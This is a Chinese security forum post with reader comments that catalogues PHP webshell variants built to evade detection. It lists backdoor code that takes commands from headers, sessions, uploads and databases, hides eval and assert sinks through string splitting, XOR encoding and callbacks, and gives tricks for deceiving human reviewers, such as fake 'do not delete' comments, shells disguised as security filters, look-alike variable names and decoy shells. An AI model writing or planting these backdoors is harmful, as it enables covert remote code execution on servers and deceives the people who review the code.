Webshell免杀要点
前言
大概如下四部分:
1、source
2、数据流
3、sink
4、面向人的免杀
这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。
参考论坛很多大佬的文章,感谢。
source
直接从变量获取
$_SERVER
GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2
code: phpinfo();
Connection: close
<?php
eval($_SERVER['HTTP_CODE']);
$_FILES Content-Type
POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjm8AolGAXiYuOHE9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryjm8AolGAXiYuOHE9
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: phpinfo()
11
------WebKitFormBoundaryjm8AolGAXiYuOHE9--
<?php
assert($_FILES['file']['type']);
GLOBALS
<?php
eval($GLOBALS[_POST][code]);
通过函数二阶获取
get_defined_vars
通过end(get_defined_vars()[_POST])获取
assert(end(get_defined_vars()[_POST]));
<?php if($_SERVER[123]){eval(end(get_defined_vars()[_POST]));};?>
next $GLOBALS
<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>
mysqli_connect
还有 smb \127.0.0.1\1.txt ftp 等等各种获取
--
-- 表的结构 `code`
--
CREATE TABLE IF NOT EXISTS `code` (
`code` varchar(255) COLLATE utf8mb4_bin NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;
--
-- 转存表中的数据 `code`
--
INSERT INTO `code` (`code`) VALUES
('phpinfo();');
<?php
eval(mysqli_fetch_assoc(mysqli_query(mysqli_connect('127.0.0.1','root','root','shell'),'select * from code'))['code']);
file_get_contents
<?php
eval(file_get_contents("http://127.0.0.1/1.txt"));
?>
php://input
需要开启allow_url_include
eval("php://input");
file_put_contents文件
<?php
file_put_contents("shell.txt",$_POST[1]);
$code = file_get_contents("shell.txt");
eval($code);
data:text协议
include "data:text/plain,<?php $_POST[1];?>";
d盾0级
<?php
include "data:text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+.php";
session
<?php
session_id('shell');
session_start();
$_SESSION["username"]="<?php ".$_POST[1]."?>";
session_write_close();
include session_save_path().'/sess_shell';
session_id
GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Connection: close
Cookie: PHPSESSID=706870696e666f28293b
<?php
session_start();
eval(hex2bin(session_id()));
?>
tmp_file
<?php
$temp = tmpfile();
print_r($temp);
fwrite($temp, $_POST[1]);
rewind($temp);
//phpD722.tmp
eval(fread($temp,100));
$_FILES['file']['tmp_name']
sys_get_temp_dir()
<?php
$filename = $_FILES['file']['tmp_name'];
include $filename;
upload_progress
需要条件竞争,php脚本无权限设置cleanup为0
POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 64016
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOAAgdsu072sFLxAt
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=test
Connection: close
------WebKitFormBoundaryOAAgdsu072sFLxAt
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php phpinfo();?>
------WebKitFormBoundaryOAAgdsu072sFLxAt
Content-Disposition: form-data; name="file1"; filename="lufei.txt"
Content-Type: application/x-zip-compressed
33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
------WebKitFormBoundaryOAAgdsu072sFLxAt--
<?php
include session_save_path().'/sess_test';
语法
三目运算
<?php
eval(false ? 1 : $_POST[1]);
?>
数据流
uaf
php 5.6测试成功。
<?php
$code = $_POST[1];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;
eval($outer_array);
?>
非等号赋值-数组传递
<?php
$c = array();
array_push($c,$_POST[1]);
eval($c[0]);
?>
变量覆盖-parse_str
<?php
parse_str("code=$_POST[1]");
eval($code);
?>
变量覆盖-双$
<?php
foreach ($_POST as $key => $value) {
${$key} = $value;
}
eval($code);
?>
变量覆盖-extract
<?
extract($_GET).$a($b);
unserialize
<?php
$code=$_POST[1];
$s=base64_decode('YToyOntpOjE7czo2OiJhc3NlcnQiO2k6MjtzOjEwOiJwaHBpbmZvKCk7Ijt9');
$o = unserialize($s);
$o[1]($code);
?>
pop链
<?php
class Wrapper{
public $evil;
function __destruct() {
$evil = new Evil();
$evil->func = $_GET['func'];
$evil->code = $_POST[1];
$evil."11";
}
}
Class Evil{
public $func;
public $code;
function __toString() {
call_user_func($this->func,$this->code);
return "";
}
}
$warpper = new Wrapper();
?>
回调函数
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
$e = $_REQUEST['e'];
$arr = array($_POST[1],);
array_filter($arr, $e);
trait
trait Evilable {
public function test($code){
eval($code);
}
}
class Legal{
use Evilable;
}
$evil = new Legal();
$evil->test($_POST[1]);
数据源来于类属性
trait Evilable {
public $code;
public function test(){
eval($this->code);
}
}
class Legal{
use Evilable;
}
$evil = new Legal();
$evil->code = $_POST[1];
$evil->test($evil->code);
自定义路由-工厂模式
<?php
class Evil {
public $code;
public function test(){
eval($this->code);
}
}
class ClassFactory {
public function getObject($className){
return new $className;
}
}
$classFactory = new ClassFactory();
$evil = $classFactory->getObject("Evil");
$evil->code = $_POST[1];
$evil->test();
?>
自定义路由-责任链
<?php
class Chain{
public $level;
public $next;
public function doChain($level,$nothing){
if($this->level==$level){
$this->doit($nothing);
}
if($this->next!=null){
$this->next->doChain($level,$nothing);
}
}
public function doit($nothing){
}
}
class Legal extends Chain{
public function __construct(){
$this->level=1;
}
public function doit($nothing){
echo $code;
}
}
class Evil extends Chain{
public $code;
public function __construct(){
$this->level=2;
}
public function doit($nothing){
eval($this->code);
}
}
$legal = new Legal();
$evil = new Evil();
$legal->next = $evil;
$evil->next = null;
$evil->code = $_POST[1];
$legal->doChain(2,"");
?>
sink
代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。
动态调用-字符串
字符串拼接
$func = 'as'.'sert';
$func($_POST[1]);
字符串分割
<?php
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
?>
各种运算-异或
<?php
// $func = urlencode(~("assert"));
// print($func);//%9E%8C%8C%9A%8D%8B
$func = "%9E%8C%8C%9A%8D%8B";
$func = ~urldecode($func);
$func($_POST[1]);
?>
eval、assert同效果
回调函数
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);
文件包含
include('1.txt')
双引号
$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";
ob_start
<?php
$func = "system";
$cmd = $_POST[1];
ob_start($func);
echo $cmd;
ob_end_flush();
?>
create_function
<?php
$code = $_POST[1];
create_function('','1;}eval("'.$code.'");/*');
?>
二阶获取sink
数组
<?php
$item['func'] = 'assert';
$item['func']($_POST[1]);
?>
二维数组
<?php
$item['func'] = 'assert';
$array[] = $item;
$array[0]['func']($_POST[1]);
?>
get_defined_functions
<?php
$arr = get_defined_functions()['internal'];
print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850
$arr[841]($_POST[1]);
编码
php7
<?php
"\x61\x73\x73\x65\x72\x74"($_POST[1]);
?>
语法
斜杠
php5.3测试成功
<?php
@eval\($_POST['code']);
?>
preg_replace-@
5.5 7.0 不再支持/e
<?php
@preg_replace('@(.*)@e','\\1',$_REQUEST[1]);
?>
流量
这块随便把流量编码或者加密
//1=cGhwaW5mbygpOw==
<?php
eval(base64_decode($_POST[1]));
?>
面向人的免杀
注释
无中生有-假装是正常代码
自己的程序可以不写注释,shell一定要写个假注释
//实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug
<?php
class Test {
public $code;
public function test(){
eval($this->code);
}
}
class ClassFactory {
public function getObject($className){
return new $className;
}
}
$classFactory = new ClassFactory();
$test = $classFactory->getObject("Test");
$test->code = $_POST[1];
$test->test();
?>
代码
无中生有
5.5 7.0不再支持/e
<?php
function filter()
{
// TODO 其他安全过滤
// 过滤查询特殊字符
@preg_replace('@test|(.*)|EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|@e','\\1',$_POST[1]);
}
filter();
?>
瞒天过海-正常代码插入shell
插入在比较长的函数代码中
function filter()
{
$func = 'as'.'sert';
//其他n多代码
$code = $_POST[1];
//其他n多代码
$func($code);
}
filter();
暗渡陈仓-1il
<?php
$ill = $_POST[1];
//其他代码
//.....
//下面两行代码挨着写
$il1 = "echo 'php test'";
eval($ill);
声东击西-假的shell
暴露一个明显而隐晦,白色中带黑色shell,另外一个文件写入真正的shell。
//另外一个文件写真正的shell
//密码是1
$code = "eval($####_POST####[1]);";
$code = str_replace("####","",$code);
eval($code);
参考
maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia等发过的文章。
项目地址
https://github.com/lufeirider/BypassShell
TCV=0
评论53次
按照楼主的面向对象稍微改改就能免杀了
666厉害的
行 真的全
老哥给力 感谢分享
技术流6666
很好,谢谢分享了,学到了不少思路
这个总结得很好啊
不错,有个P牛的shell:
总结的很全,这种文章应该多点人发
我喜欢研究二进制的免杀
恶补相关知识,谢谢大佬分享
感谢老哥分享,牛逼牛逼
好好好,我喜欢这些风骚的思路,太牛逼了哈哈哈。免杀研究显得略有趣
eval 各种加密,变形,显得乏味,序列化倒是蛮经验
这种总结就很到位 哈哈 谢谢老哥,为我们省下不少时间
这好像绕waf也用得上额
//实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug 啊哈哈,无中生有,太厉害了
感谢分享,哈哈哈
牛逼牛逼牛逼牛逼
//实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug 哈哈